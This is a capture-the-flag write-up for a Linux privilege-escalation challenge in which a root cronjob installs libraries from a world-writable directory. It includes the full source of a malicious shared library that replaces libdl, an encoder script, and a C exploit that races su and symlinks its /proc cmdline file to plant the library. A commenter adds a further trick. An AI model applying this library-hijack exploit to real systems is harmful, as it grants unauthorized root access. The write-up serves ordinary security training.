Rating: 5.0

First of all, we can figure out that there's a cronjob running every minute and launching following Python script:

```
#!/usr/bin/python3
import os

DIR = "/opt/data/"

for f in os.listdir(DIR):
if f[:3] != "lib" or ".so" not in f:
continue # not a library
try:
# prevent race conditions
newLib = open(DIR + f, "rb")

# verify owner is root and not writable by anyone else
if os.fstat(newLib.fileno()).st_uid != 0:
continue
if (os.fstat(newLib.fileno()).st_mode & 0o22) != 0:
continue

newContent = newLib.read()
newLib.close()

# verify it's an ELF
if newContent[:4] != b'\x7f\x45\x4c\x46':
continue

# verify target is an existing library
newPath = "/lib/x86_64-linux-gnu/" + f
if not os.path.isfile(newPath):
continue

# verify the content is new
oldLib = open(newPath, "rb")
oldContent = oldLib.read()
oldLib.close()

if oldContent == newContent:
continue

# write the new content
newLib = open(newPath + "-", "wb")
newLib.write(newContent)
newLib.close()

# exchange the libraries
os.rename(newPath, newPath + "~")
os.rename(newPath + "-", newPath)
os.unlink(newPath + "~")

# deployment complete
os.unlink(DIR + f)
except:
pass
```

It looks into 777-directory `/opt/data` and copies root-owned files, which are non-writable for group and for others, to `/lib/x86_64-linux-gnu`.

So the attack vector is clear: create such file from root with hacked library and then wait for `/bin/bash` starts during next launch of cronjob. I've choosed `libdl.so` to hijack because, it is lightweight and used by bash. I've crafted small fake .so file, which runs code at startup using `.init` section. Here it is:
```
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>

__attribute__ ((constructor)) void sploit() {
rename("/root/flag", "/flag");
chmod("/flag", 0777);
}

void dlopen() {
}

void dlclose() {
}

void dlsym() {
}

void dlerror() {
}
```

To compile: `gcc -c -fPIC lib.c -o lib.o && gcc lib.o -shared -o libdl.so.2`.

Ok, now we need to create file belonging to root with specific permissions. How to do that? Well, if SUID process starts, files in `/proc/.../*` have root owner. So we can start `/usr/bin/su` with such environment variables that `/proc/.../environ` contains the payload. But inside docker container it's impossible to read that pseudofile. So we need another way to that.

After several minutes research I've found `/proc/.../cmdline`. But su fails immediately if pass invalid arguments. I've ended up with tricky race condition to bypass this:
1. fork + execve `/usr/bin/su` with crafted argv.
2. Busy-wait a little via `sched_yield`.
3. Send `SIGSTOP` to freeze su process while it is validating arguments.

Python script for crafting `/proc/.../cmdline`. It uses idea that each argument from `argv` is written with trailing `\0`. So, empty string represents single zero byte.
```
with open("libdl.so.2", "rb") as f:
content = f.read()

chunks = []
chunk = b""
for ch in content:
if ch == 0:
chunks.append(chunk)
chunk = b""
else:
chunk += bytes([ch])
chunks.append(chunk)

def f(chunk):
return '"{}"'.format("".join(map(lambda x: "\\x" + hex(x)[2:], chunk)))

print("{", ", ".join(map(f, chunks)), "}")

```

Final exploit was:
```
#include <unistd.h>
#include <stdio.h>
#include <signal.h>
#include <sched.h>
#include <sys/wait.h>

int main() {
// empty string = zero byte
char* argv[] = { "\x7f\x45\x4c\x46\x2\x1\x1", "", "", "", "", "", "", "", /* payload */, NULL };
char* envp[] = { "\x7f\x45\x4c\x46", NULL };

for (;;) {
char buf[1000];
pid_t pid = fork();
if (pid == 0) {
execve("/usr/bin/su", argv, envp);
} else {
for (size_t i = 0; i < 100; i++) {
sched_yield();
}
kill(pid, SIGSTOP);
int n = sprintf(buf, "/proc/%d/cmdline", pid);
buf[n] = '\0';
char l[] = "/opt/data/libdl-2.31.so";
unlink(l);
symlink(buf, l);
wait(NULL);
}
}
return 0;
}

``

gousaiyangJuly 28, 2020, 9:25 p.m.

If you create an execute-only executable (chmod -r), its `/proc/.../cmdline` will also be root-owned.